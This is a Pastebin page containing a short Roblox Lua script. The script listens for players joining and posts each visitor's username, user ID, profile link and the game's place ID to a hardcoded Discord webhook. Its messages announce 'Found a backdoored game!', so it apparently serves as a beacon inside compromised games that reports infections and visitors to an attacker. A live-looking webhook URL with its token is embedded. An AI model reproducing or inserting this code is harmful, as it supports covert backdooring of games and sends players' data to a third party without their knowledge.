Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local Players = game:GetService("Players")
- local http = game:GetService("HttpService")
- local webhook = "https://discordapp.com/api/webhooks/677887979234263071/afMm8M2Luib38gPcx_xMwB-DP2YrnlvAqISUkLyns0nIw5q9Zf5NkBGbnJzZtkVEuOnn" -- Place Webhook link here
- -- Actual Code --
- Players.PlayerAdded:Connect(function(plr)
- local data =
- {
- ["contents"] = "Found a game!",
- ["embeds"] = {{
- ["title"]= plr.name,
- ["description"] = "Found a backdoored game!",
- ["type"]= "rich",
- ["color"]= tonumber(0x36393e),
- ["fields"]={
- {
- ["name"]="New Visitor",
- ["value"]="User: **"..plr.Name.."** with ID: **"..plr.UserId.."** has joined [Game](https://www.roblox.com/games/".. game.PlaceId..")/[Profile](https://www.roblox.com/users/"..plr.UserId.."/profile)",
- ["inline"]=true}}}}
- }
- http:PostAsync(webhook,http:JSONEncode(data))
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement